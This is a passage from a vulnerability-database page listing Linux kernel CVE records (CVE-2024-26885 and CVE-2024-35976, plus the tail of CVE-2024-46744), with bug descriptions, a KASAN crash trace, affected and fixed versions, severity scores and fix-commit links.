          "url": "https://git.kernel.org/stable/c/810ee43d9cd245d138a2733d87a24858a23f577d"
        }
      ],
      "title": "Squashfs: sanity check symbolic link size",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-46744",
    "datePublished": "2024-09-18T07:12:04.975Z",
    "dateReserved": "2024-09-11T15:12:18.266Z",
    "dateUpdated": "2026-05-12T11:57:43.603Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-26885 (GCVE-0-2024-26885)

Vulnerability from cvelistv5 – Published: 2024-04-17 10:27 – Updated: 2026-05-12 11:50

Title

bpf: Fix DEVMAP_HASH overflow check on 32-bit arches

Summary

In the Linux kernel, the following vulnerability has been resolved: bpf: Fix DEVMAP_HASH overflow check on 32-bit arches The devmap code allocates a number hash buckets equal to the next power of two of the max_entries value provided when creating the map. When rounding up to the next power of two, the 32-bit variable storing the number of buckets can overflow, and the code checks for overflow by checking if the truncated 32-bit value is equal to 0. However, on 32-bit arches the rounding up itself can overflow mid-way through, because it ends up doing a left-shift of 32 bits on an unsigned long value. If the size of an unsigned long is four bytes, this is undefined behaviour, so there is no guarantee that we'll end up with a nice and tidy 0-value at the end. Syzbot managed to turn this into a crash on arm32 by creating a DEVMAP_HASH with max_entries > 0x80000000 and then trying to update it. Fix this by moving the overflow check to before the rounding up operation.

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/1f5e352b9088211fa…
https://git.kernel.org/stable/c/4b81a9f92b3676cb7…
https://git.kernel.org/stable/c/c826502bed93970f2…
https://git.kernel.org/stable/c/edf7990baa48de509…
https://git.kernel.org/stable/c/250051acc21f9d4c5…
https://git.kernel.org/stable/c/22079b3a423382335…
https://git.kernel.org/stable/c/e89386f62ce9a9ab9…
https://git.kernel.org/stable/c/281d464a34f540de1…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 6f9d451ab1a33728adb72d7ff66a7b374d665176 , < 1f5e352b9088211fa5eb4e1639cd365f4f7d2f65 (git) Affected: 6f9d451ab1a33728adb72d7ff66a7b374d665176 , < 4b81a9f92b3676cb74b907a7a209b3d15bd9a7f9 (git) Affected: 6f9d451ab1a33728adb72d7ff66a7b374d665176 , < c826502bed93970f2fd488918a7b8d5f1d30e2e3 (git) Affected: 6f9d451ab1a33728adb72d7ff66a7b374d665176 , < edf7990baa48de5097daa9ac02e06cb4c798a737 (git) Affected: 6f9d451ab1a33728adb72d7ff66a7b374d665176 , < 250051acc21f9d4c5c595e4fcb55986ea08c4691 (git) Affected: 6f9d451ab1a33728adb72d7ff66a7b374d665176 , < 22079b3a423382335f47d9ed32114e6c9fe88d7c (git) Affected: 6f9d451ab1a33728adb72d7ff66a7b374d665176 , < e89386f62ce9a9ab9a94835a9890883c23d9d52c (git) Affected: 6f9d451ab1a33728adb72d7ff66a7b374d665176 , < 281d464a34f540de166cee74b723e97ac2515ec3 (git)
Linux	Linux	Affected: 5.4 Unaffected: 0 , < 5.4 (semver) Unaffected: 5.4.285 , ≤ 5.4.* (semver) Unaffected: 5.10.227 , ≤ 5.10.* (semver) Unaffected: 5.15.153 , ≤ 5.15.* (semver) Unaffected: 6.1.83 , ≤ 6.1.* (semver) Unaffected: 6.6.23 , ≤ 6.6.* (semver) Unaffected: 6.7.11 , ≤ 6.7.* (semver) Unaffected: 6.8.2 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "affected": [
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:5.4:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "status": "affected",
                "version": "5.4"
              },
              {
                "status": "affected",
                "version": "6f9d451ab1a3"
              }
            ]
          }
        ],
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-26885",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-05-28T19:51:32.926370Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-06-04T17:49:30.477Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T00:21:05.424Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/225da02acdc97af01b6bc6ce1a3e5362bf01d3fb"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/c826502bed93970f2fd488918a7b8d5f1d30e2e3"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/edf7990baa48de5097daa9ac02e06cb4c798a737"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/250051acc21f9d4c5c595e4fcb55986ea08c4691"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/22079b3a423382335f47d9ed32114e6c9fe88d7c"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/e89386f62ce9a9ab9a94835a9890883c23d9d52c"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/281d464a34f540de166cee74b723e97ac2515ec3"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:50:09.415Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "kernel/bpf/devmap.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "1f5e352b9088211fa5eb4e1639cd365f4f7d2f65",
              "status": "affected",
              "version": "6f9d451ab1a33728adb72d7ff66a7b374d665176",
              "versionType": "git"
            },
            {
              "lessThan": "4b81a9f92b3676cb74b907a7a209b3d15bd9a7f9",
              "status": "affected",
              "version": "6f9d451ab1a33728adb72d7ff66a7b374d665176",
              "versionType": "git"
            },
            {
              "lessThan": "c826502bed93970f2fd488918a7b8d5f1d30e2e3",
              "status": "affected",
              "version": "6f9d451ab1a33728adb72d7ff66a7b374d665176",
              "versionType": "git"
            },
            {
              "lessThan": "edf7990baa48de5097daa9ac02e06cb4c798a737",
              "status": "affected",
              "version": "6f9d451ab1a33728adb72d7ff66a7b374d665176",
              "versionType": "git"
            },
            {
              "lessThan": "250051acc21f9d4c5c595e4fcb55986ea08c4691",
              "status": "affected",
              "version": "6f9d451ab1a33728adb72d7ff66a7b374d665176",
              "versionType": "git"
            },
            {
              "lessThan": "22079b3a423382335f47d9ed32114e6c9fe88d7c",
              "status": "affected",
              "version": "6f9d451ab1a33728adb72d7ff66a7b374d665176",
              "versionType": "git"
            },
            {
              "lessThan": "e89386f62ce9a9ab9a94835a9890883c23d9d52c",
              "status": "affected",
              "version": "6f9d451ab1a33728adb72d7ff66a7b374d665176",
              "versionType": "git"
            },
            {
              "lessThan": "281d464a34f540de166cee74b723e97ac2515ec3",
              "status": "affected",
              "version": "6f9d451ab1a33728adb72d7ff66a7b374d665176",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "kernel/bpf/devmap.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.4"
            },
            {
              "lessThan": "5.4",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.285",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.227",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.153",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.83",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.23",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.7.*",
              "status": "unaffected",
              "version": "6.7.11",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.2",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.285",
                  "versionStartIncluding": "5.4",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.227",
                  "versionStartIncluding": "5.4",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.153",
                  "versionStartIncluding": "5.4",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.83",
                  "versionStartIncluding": "5.4",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.23",
                  "versionStartIncluding": "5.4",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.7.11",
                  "versionStartIncluding": "5.4",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.2",
                  "versionStartIncluding": "5.4",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "5.4",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nbpf: Fix DEVMAP_HASH overflow check on 32-bit arches\n\nThe devmap code allocates a number hash buckets equal to the next power\nof two of the max_entries value provided when creating the map. When\nrounding up to the next power of two, the 32-bit variable storing the\nnumber of buckets can overflow, and the code checks for overflow by\nchecking if the truncated 32-bit value is equal to 0. However, on 32-bit\narches the rounding up itself can overflow mid-way through, because it\nends up doing a left-shift of 32 bits on an unsigned long value. If the\nsize of an unsigned long is four bytes, this is undefined behaviour, so\nthere is no guarantee that we\u0027ll end up with a nice and tidy 0-value at\nthe end.\n\nSyzbot managed to turn this into a crash on arm32 by creating a\nDEVMAP_HASH with max_entries \u003e 0x80000000 and then trying to update it.\nFix this by moving the overflow check to before the rounding up\noperation."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:06:10.214Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/1f5e352b9088211fa5eb4e1639cd365f4f7d2f65"
        },
        {
          "url": "https://git.kernel.org/stable/c/4b81a9f92b3676cb74b907a7a209b3d15bd9a7f9"
        },
        {
          "url": "https://git.kernel.org/stable/c/c826502bed93970f2fd488918a7b8d5f1d30e2e3"
        },
        {
          "url": "https://git.kernel.org/stable/c/edf7990baa48de5097daa9ac02e06cb4c798a737"
        },
        {
          "url": "https://git.kernel.org/stable/c/250051acc21f9d4c5c595e4fcb55986ea08c4691"
        },
        {
          "url": "https://git.kernel.org/stable/c/22079b3a423382335f47d9ed32114e6c9fe88d7c"
        },
        {
          "url": "https://git.kernel.org/stable/c/e89386f62ce9a9ab9a94835a9890883c23d9d52c"
        },
        {
          "url": "https://git.kernel.org/stable/c/281d464a34f540de166cee74b723e97ac2515ec3"
        }
      ],
      "title": "bpf: Fix DEVMAP_HASH overflow check on 32-bit arches",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-26885",
    "datePublished": "2024-04-17T10:27:40.300Z",
    "dateReserved": "2024-02-19T14:20:24.185Z",
    "dateUpdated": "2026-05-12T11:50:09.415Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-35976 (GCVE-0-2024-35976)

Vulnerability from cvelistv5 – Published: 2024-05-20 09:42 – Updated: 2026-05-12 11:53

Title

xsk: validate user input for XDP_{UMEM|COMPLETION}_FILL_RING

Summary

In the Linux kernel, the following vulnerability has been resolved: xsk: validate user input for XDP_{UMEM|COMPLETION}_FILL_RING syzbot reported an illegal copy in xsk_setsockopt() [1] Make sure to validate setsockopt() @optlen parameter. [1] BUG: KASAN: slab-out-of-bounds in copy_from_sockptr_offset include/linux/sockptr.h:49 [inline] BUG: KASAN: slab-out-of-bounds in copy_from_sockptr include/linux/sockptr.h:55 [inline] BUG: KASAN: slab-out-of-bounds in xsk_setsockopt+0x909/0xa40 net/xdp/xsk.c:1420 Read of size 4 at addr ffff888028c6cde3 by task syz-executor.0/7549 CPU: 0 PID: 7549 Comm: syz-executor.0 Not tainted 6.8.0-syzkaller-08951-gfe46a7dd189e #0 Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 03/27/2024 Call Trace: <TASK> __dump_stack lib/dump_stack.c:88 [inline] dump_stack_lvl+0x241/0x360 lib/dump_stack.c:114 print_address_description mm/kasan/report.c:377 [inline] print_report+0x169/0x550 mm/kasan/report.c:488 kasan_report+0x143/0x180 mm/kasan/report.c:601 copy_from_sockptr_offset include/linux/sockptr.h:49 [inline] copy_from_sockptr include/linux/sockptr.h:55 [inline] xsk_setsockopt+0x909/0xa40 net/xdp/xsk.c:1420 do_sock_setsockopt+0x3af/0x720 net/socket.c:2311 __sys_setsockopt+0x1ae/0x250 net/socket.c:2334 __do_sys_setsockopt net/socket.c:2343 [inline] __se_sys_setsockopt net/socket.c:2340 [inline] __x64_sys_setsockopt+0xb5/0xd0 net/socket.c:2340 do_syscall_64+0xfb/0x240 entry_SYSCALL_64_after_hwframe+0x6d/0x75 RIP: 0033:0x7fb40587de69 Code: 28 00 00 00 75 05 48 83 c4 28 c3 e8 e1 20 00 00 90 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 b0 ff ff ff f7 d8 64 89 01 48 RSP: 002b:00007fb40665a0c8 EFLAGS: 00000246 ORIG_RAX: 0000000000000036 RAX: ffffffffffffffda RBX: 00007fb4059abf80 RCX: 00007fb40587de69 RDX: 0000000000000005 RSI: 000000000000011b RDI: 0000000000000006 RBP: 00007fb4058ca47a R08: 0000000000000002 R09: 0000000000000000 R10: 0000000020001980 R11: 0000000000000246 R12: 0000000000000000 R13: 000000000000000b R14: 00007fb4059abf80 R15: 00007fff57ee4d08 </TASK> Allocated by task 7549: kasan_save_stack mm/kasan/common.c:47 [inline] kasan_save_track+0x3f/0x80 mm/kasan/common.c:68 poison_kmalloc_redzone mm/kasan/common.c:370 [inline] __kasan_kmalloc+0x98/0xb0 mm/kasan/common.c:387 kasan_kmalloc include/linux/kasan.h:211 [inline] __do_kmalloc_node mm/slub.c:3966 [inline] __kmalloc+0x233/0x4a0 mm/slub.c:3979 kmalloc include/linux/slab.h:632 [inline] __cgroup_bpf_run_filter_setsockopt+0xd2f/0x1040 kernel/bpf/cgroup.c:1869 do_sock_setsockopt+0x6b4/0x720 net/socket.c:2293 __sys_setsockopt+0x1ae/0x250 net/socket.c:2334 __do_sys_setsockopt net/socket.c:2343 [inline] __se_sys_setsockopt net/socket.c:2340 [inline] __x64_sys_setsockopt+0xb5/0xd0 net/socket.c:2340 do_syscall_64+0xfb/0x240 entry_SYSCALL_64_after_hwframe+0x6d/0x75 The buggy address belongs to the object at ffff888028c6cde0 which belongs to the cache kmalloc-8 of size 8 The buggy address is located 1 bytes to the right of allocated 2-byte region [ffff888028c6cde0, ffff888028c6cde2) The buggy address belongs to the physical page: page:ffffea0000a31b00 refcount:1 mapcount:0 mapping:0000000000000000 index:0xffff888028c6c9c0 pfn:0x28c6c anon flags: 0xfff00000000800(slab|node=0|zone=1|lastcpupid=0x7ff) page_type: 0xffffffff() raw: 00fff00000000800 ffff888014c41280 0000000000000000 dead000000000001 raw: ffff888028c6c9c0 0000000080800057 00000001ffffffff 0000000000000000 page dumped because: kasan: bad access detected page_owner tracks the page as allocated page last allocated via order 0, migratetype Unmovable, gfp_mask 0x112cc0(GFP_USER|__GFP_NOWARN|__GFP_NORETRY), pid 6648, tgid 6644 (syz-executor.0), ts 133906047828, free_ts 133859922223 set_page_owner include/linux/page_owner.h:31 [inline] post_alloc_hook+0x1ea/0x210 mm/page_alloc.c:1533 prep_new_page mm/page_alloc.c: ---truncated---

Severity ?

6.7 (Medium)


                        
                          CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

CWE

CWE-787 - Out-of-bounds Write

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/beb99266830520e15…
https://git.kernel.org/stable/c/0b45c25d60e38f5c2…
https://git.kernel.org/stable/c/a82984b3c6a7e8c79…
https://git.kernel.org/stable/c/f0a068de65d5b7358…
https://git.kernel.org/stable/c/2a523f14a3f53b46f…
https://git.kernel.org/stable/c/b143e19dc28c3211f…
https://git.kernel.org/stable/c/2eb979fbb2479bcd7…
https://git.kernel.org/stable/c/237f3cf13b20db183…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 423f38329d267969130fb6f2c685f73d72687558 , < beb99266830520e15fbc6ca8cc5a5240d76851fd (git) Affected: 423f38329d267969130fb6f2c685f73d72687558 , < 0b45c25d60e38f5c2cb6823f886773a34323306d (git) Affected: 423f38329d267969130fb6f2c685f73d72687558 , < a82984b3c6a7e8c7937dba6e857ddf829d149417 (git) Affected: 423f38329d267969130fb6f2c685f73d72687558 , < f0a068de65d5b7358e9aff792716afa9333f3922 (git) Affected: 423f38329d267969130fb6f2c685f73d72687558 , < 2a523f14a3f53b46ff0e1fafd215b0bc5f6783aa (git) Affected: 423f38329d267969130fb6f2c685f73d72687558 , < b143e19dc28c3211f050f7848d87d9b0a170e10c (git) Affected: 423f38329d267969130fb6f2c685f73d72687558 , < 2eb979fbb2479bcd7e049f2f9978b6590dd8a0e6 (git) Affected: 423f38329d267969130fb6f2c685f73d72687558 , < 237f3cf13b20db183d3706d997eedc3c49eacd44 (git)
Linux	Linux	Affected: 4.18 Unaffected: 0 , < 4.18 (semver) Unaffected: 4.19.317 , ≤ 4.19.* (semver) Unaffected: 5.4.278 , ≤ 5.4.* (semver) Unaffected: 5.10.216 , ≤ 5.10.* (semver) Unaffected: 5.15.156 , ≤ 5.15.* (semver) Unaffected: 6.1.87 , ≤ 6.1.* (semver) Unaffected: 6.6.28 , ≤ 6.6.* (semver) Unaffected: 6.8.7 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "affected": [
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:4.18:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "status": "affected",
                "version": "4.18"
              }
            ]
          }
        ],
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "HIGH",
              "attackVector": "LOCAL",
              "availabilityImpact": "NONE",
              "baseScore": 6.7,
              "baseSeverity": "MEDIUM",
              "confidentialityImpact": "HIGH",
              "integrityImpact": "HIGH",
              "privilegesRequired": "NONE",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2024-35976",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-05-20T14:37:56.972231Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-787",
                "description": "CWE-787 Out-of-bounds Write",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-06-04T17:34:07.661Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-04T17:20:53.592Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/beb99266830520e15fbc6ca8cc5a5240d76851fd"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/0b45c25d60e38f5c2cb6823f886773a34323306d"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/a82984b3c6a7e8c7937dba6e857ddf829d149417"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/f0a068de65d5b7358e9aff792716afa9333f3922"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/2a523f14a3f53b46ff0e1fafd215b0bc5f6783aa"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/b143e19dc28c3211f050f7848d87d9b0a170e10c"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/2eb979fbb2479bcd7e049f2f9978b6590dd8a0e6"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/237f3cf13b20db183d3706d997eedc3c49eacd44"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:53:21.943Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-613116.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/xdp/xsk.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "beb99266830520e15fbc6ca8cc5a5240d76851fd",
              "status": "affected",
              "version": "423f38329d267969130fb6f2c685f73d72687558",
              "versionType": "git"
            },
            {
              "lessThan": "0b45c25d60e38f5c2cb6823f886773a34323306d",
              "status": "affected",
              "version": "423f38329d267969130fb6f2c685f73d72687558",
              "versionType": "git"
            },
            {
              "lessThan": "a82984b3c6a7e8c7937dba6e857ddf829d149417",
              "status": "affected",
              "version": "423f38329d267969130fb6f2c685f73d72687558",
              "versionType": "git"
            },
            {
              "lessThan": "f0a068de65d5b7358e9aff792716afa9333f3922",
              "status": "affected",
              "version": "423f38329d267969130fb6f2c685f73d72687558",
              "versionType": "git"
            },
            {
              "lessThan": "2a523f14a3f53b46ff0e1fafd215b0bc5f6783aa",
              "status": "affected",
              "version": "423f38329d267969130fb6f2c685f73d72687558",
              "versionType": "git"
            },
            {
              "lessThan": "b143e19dc28c3211f050f7848d87d9b0a170e10c",
              "status": "affected",
              "version": "423f38329d267969130fb6f2c685f73d72687558",
              "versionType": "git"
            },
            {
              "lessThan": "2eb979fbb2479bcd7e049f2f9978b6590dd8a0e6",
              "status": "affected",
              "version": "423f38329d267969130fb6f2c685f73d72687558",
              "versionType": "git"
            },
            {
              "lessThan": "237f3cf13b20db183d3706d997eedc3c49eacd44",
              "status": "affected",
              "version": "423f38329d267969130fb6f2c685f73d72687558",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/xdp/xsk.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "4.18"
            },
            {
              "lessThan": "4.18",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.317",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.278",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.216",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.156",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.87",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.28",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.7",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.317",
                  "versionStartIncluding": "4.18",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.278",
                  "versionStartIncluding": "4.18",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.216",
                  "versionStartIncluding": "4.18",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.156",
                  "versionStartIncluding": "4.18",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.87",
                  "versionStartIncluding": "4.18",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.28",
                  "versionStartIncluding": "4.18",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
